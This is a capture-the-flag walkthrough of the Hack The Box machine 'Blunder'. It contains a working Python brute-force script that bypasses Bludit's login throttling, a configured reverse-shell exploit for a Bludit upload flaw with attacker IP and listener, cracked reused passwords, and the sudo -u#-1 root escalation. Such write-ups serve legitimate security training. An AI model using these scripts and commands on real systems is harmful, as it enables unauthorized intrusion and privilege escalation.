Contents

HTB - Blunder

Linux easy box about web enumeration, password reuse and sudo CVE exploitation. Created by egotisticalSW.

Box info

NameOSDifficultyPointsReleaseIPCreator(s)
BlunderLinuxEasy2030 May 202010.10.10.191egotisticalSW

Reconnaissance

Nmap

The usual nmap command, to know where to start:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
$ sudo nmap -sS -sV -sC -p- --reason -oN scan.nmap 10.10.10.191
Nmap scan report for 10.10.10.191
Host is up, received echo-reply ttl 63 (0.016s latency).
Not shown: 65533 filtered ports
Reason: 65533 no-responses
PORT   STATE  SERVICE REASON         VERSION
21/tcp closed ftp     reset ttl 63
80/tcp open   http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Blunder
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Blunder | A blunder of interesting facts

Everything seems to be happening on the port 80.

Website enumeration

The home page of the website just contains three little blog posts and an “about” section.

/img/htb-blunder/bludit_home.png

Let’s try to enumerate files and directories available on the web server:

1
2
3
4
5
6
7
8
$ ffuf -u 'http://10.10.10.191/FUZZ' -w '~/wordlists/big.txt'
...
about                   [Status: 200, Size: 3280, Words: 225, Lines: 106]
admin                   [Status: 301, Size: 0, Words: 1, Lines: 1]
cgi-bin/                [Status: 301, Size: 0, Words: 1, Lines: 1]
robots.txt              [Status: 200, Size: 22, Words: 3, Lines: 2]
server-status           [Status: 403, Size: 277, Words: 20, Lines: 10]
usb                     [Status: 200, Size: 3959, Words: 304, Lines: 111]

The /admin is protected by a login form.

/img/htb-blunder/bludit_login.png

Bludit is the CMS here. Wappalyzer didn’t detect any version number, but we can check by hand in source code.

/img/htb-blunder/bludit_version.png

Now let’s ask cvedetails for vulnerabilities that affect Bludit 3.9.2.

/img/htb-blunder/cvedetails.png

Nice, we can bruteforce the login form, but we will need at least a username to perform it. Once we get an account of the website, we can get a reverse shell thanks to the RCE vulnerability.

So our first task is to find a valid username. Maybe the official documentation contains information about a default account, or anything that could give us a hint to authenticate. This page talks about the admin user, but they advise to disable it, and it doesn’t have a predictable password. Another page is about password recovery, but it needs the recovery.php file which is only usable from CLI, and it’s not even on the current server.

Other files and directories are not interesting, so we can try to run ffuf with the same wordlist, but adding common extensions:

1
2
3
$ ffuf -u 'http://10.10.10.191/FUZZ' -w '~/wordlists/big.txt' -e '.php,.txt'
install.php             [Status: 200, Size: 30, Words: 5, Lines: 1]
todo.txt                [Status: 200, Size: 118, Words: 20, Lines: 5]

The install.php file was just used to setup the Bludit server, but the todo.txt is definitely more interseting. It says:

1
2
3
4
-Update the CMS
-Turn off FTP - DONE
-Remove old users - DONE
-Inform fergus that the new blog needs images - PENDING

These notes confirm that the admin user has been deactivated, but now we have a new target: the user fergus. Besides, the fact that they need to update the CMS shows that we will probably be able to exploit some CVE on this server.

Vulnerabilities

Login bruteforce

Now that we know a valid username, we can try to bruteforce his password thanks to the CVE-2019-17240. The linked blog post shows why the anti-bruteforce system in Bludit 3.9.2 is not reliable, and provides an already-made script to exploit it. The trick is just to change the X-Forwarded-For header’s value every request, because Bludit trusts it to identify the client. After customizing it a little to fit our case, this is what our bf.py looks like:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python3
import re
import requests
import sys

host = 'http://10.10.10.191'
login_url = host + '/admin/login'
username = sys.argv[1]              # username as first argument

with open(sys.argv[2]) as f:        # wordlist as second argument
    for password in f:
        password = password.rstrip('\n')
        session = requests.Session()
        login_page = session.get(login_url)
        csrf_token = re.search('input.+?name=\"tokenCSRF\".+?value=\"(.+?)\"', login_page.text).group(1)
        print('[*] Trying: {p}'.format(p = password))

        headers = {
            'X-Forwarded-For': password,
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36',
            'Referer': login_url
        }

        data = {
            'tokenCSRF': csrf_token,
            'username': username,
            'password': password,
            'save': ''
        }

        login_result = session.post(login_url, headers = headers, data = data, allow_redirects = False)

        if 'location' in login_result.headers:
            if '/admin/dashboard' in login_result.headers['location']:
                print()
                print('SUCCESS: Password found!')
                print('Use {u}:{p} to login.'.format(u = username, p = password))
                print()
                break

Unfortunately, it turns out running this script our wordlists containing basic passwords won’t give any result.

1
2
3
4
5
6
$ ./bf.py fergus ~/wordlists/1000-most-common-passwords.txt
[*] Trying: 123456
[*] Trying: password
...
[*] Trying: polina
[*] Trying: freepass  # last request, password not found :c

The problem is that we cannot really use rockyou.txt or any big wordlist because the requests frequency is too low for that. The solution consists of creating a wordlist containing every word in the homepage.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
$ curl -s http://10.10.10.191/ | tr ' ' '\n' | egrep "^[a-zA-Z0-9\-_\,\.\']+$" > wordlist.txt
$ ./bf.py fergus wordlist.txt 
[*] Trying: Dynamic
[*] Trying: title
[*] Trying: tag
...
[*] Trying: fictional
[*] Trying: character
[*] Trying: RolandDeschain

SUCCESS: Password found!
Use fergus:RolandDeschain to login

Looks like fergus was really a Stephen King enthusiast.

RCE via file upload

We can go to /admin/login and login successfully with fergus:RolandDeschain. Our rights are very minimal, we are only able to write new content:

/img/htb-blunder/bludit_admin_home.png

However, we have access to the image upload and it is enough to exploit CVE-2019-16113 we found earlier.

/img/htb-blunder/bludit_upload.png

In fact, it is possible to upload an “image” file actually containing PHP code, and make the server execute it, giving us a shell. Let’s clone the GitHub repo, rename cve-2019-16113.py into shell.py, and tweak the required variables:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
##########################
# Modify as needed
TARGET_URI = "http://10.10.10.191"

# Target Bludit credentials
USERNAME = "fergus"
PASSWORD = "RolandDeschain"

# For reverse shell
# Setup listner prior to execution: nc -lvp 303
ATTACKER_IP = '10.10.14.34'
ATTACKER_PORT = '8173'

##########################

In another terminal, we launch a TCP listener:

1
2
3
4
$ ncat -lvp 8173
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::8173
Ncat: Listening on 0.0.0.0:8173

And we execute the magic script with:

1
$ ./shell.py

And it spawns kindly :D

Password reuse

Right after the shell spawned, we can enumerate users and groups on the system:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
$ cat /etc/passwd |grep sh |cut -d: -f1
root
shaun
hugo
temp
$ cat /etc/group | egrep '(hugo|shaun)' |cut -d: -f1,4
adm:syslog,shaun
cdrom:shaun
dip:shaun
plugdev:shaun
lpadmin:shaun
lxd:shaun
shaun:
sambashare:shaun
hugo:

As well as listening sockets:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
$ netstat -lnptu
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp6       0      0 ::1:631                 :::*                    LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -
udp        0      0 0.0.0.0:53457           0.0.0.0:*                           -
udp        0      0 0.0.0.0:631             0.0.0.0:*                           -
udp        0      0 0.0.0.0:5353            0.0.0.0:*                           -
udp6       0      0 :::47631                :::*                                -
udp6       0      0 :::5353                 :::*                                -

The port 631 is suspicious, let’s check its version:

1
2
3
4
$ wget -O- http://127.0.0.1:631  # in case curl is not installed
...
<title>Home - CUPS 2.2.12</title>
...

It is probably a bait because the CUPS version is up-to-date, and searchsploit doesn’t give any result. Staying focused on our current scope before expanding it is a better idea. By ls ing around, we find that there are 2 Bludit websites in /var/www, even though only 1 is running:

1
2
3
4
5
6
7
$ ls -lah /var/www
total 20K
drwxr-xr-x  5 root     root     4.0K Nov 28  2019 .
drwxr-xr-x 15 root     root     4.0K Nov 27  2019 ..
drwxr-xr-x  8 www-data www-data 4.0K May 19 15:13 bludit-3.10.0a
drwxrwxr-x  8 www-data www-data 4.0K Apr 28 12:18 bludit-3.9.2
drwxr-xr-x  2 root     root     4.0K Nov 28  2019 html

Our goal here is to search in them for credentials. In Bludit, passwords hashes are stored in the bl-content/databases.users.php file. By reading it in the 2 installations, we find 3 users in total: admin, fergus, and hugo. The account hugo is very interesting, as it is also one of the system users. To get his password, CrackStation is always a good starting point.

/img/htb-blunder/crackstation.png

Nice! In our reverse shell, running:

1
2
$ su hugo
Password: Password120

gives us access to hugo’s account, thank you password reuse!

Let’s read the user flag.

1
2
$ cat /home/hugo/user.txt
708a1e246eb20ef920c458b80da39283

Fresh sudo CVE

Since we have our current user’s credentials, we can enumerate sudo rules applied to him.

1
2
3
4
5
6
7
8
9
$ sudo -l
Password: Password120

Matching Defaults entries for hugo on blunder:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User hugo may run the following commands on blunder:
    (ALL, !root) /bin/bash

We can get a shell as every user except root!

First I tried to log as the other interesting user, shaun, but all I found were baits, with 2 useless screenshots in his ~/Pictures directory:

/img/htb-blunder/screenshot1.png

/img/htb-blunder/screenshot2.png

Anyway, in addition of enumerating sudo rules for hugo, checking the software’s version was the last necessary task of enumeration:

1
2
3
4
5
$ sudo --version
Sudo version 1.8.25p1
Sudoers policy plugin version 1.8.25p1
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.25p1

By running searchsploit, we are able to find quickly a recent vulnerability affecting sudo up till version 1.8.27, the CVE 2019-14287.

This exploit is achievable if the sudo rules include a line looking like the (ALL, !root) /bin/bash that we have. The bug is that if you ask to run /bin/bash with the uid -1, your shell will spawn as root.

So the following works, and the box is rooted:

1
2
3
4
hugo@blunder:~$ sudo -u#-1 /bin/bash
Password: Password120
root@blunder:/home/hugo# cat /root/root.txt
54d0b8847d80ddd72f5b597201d9ddd4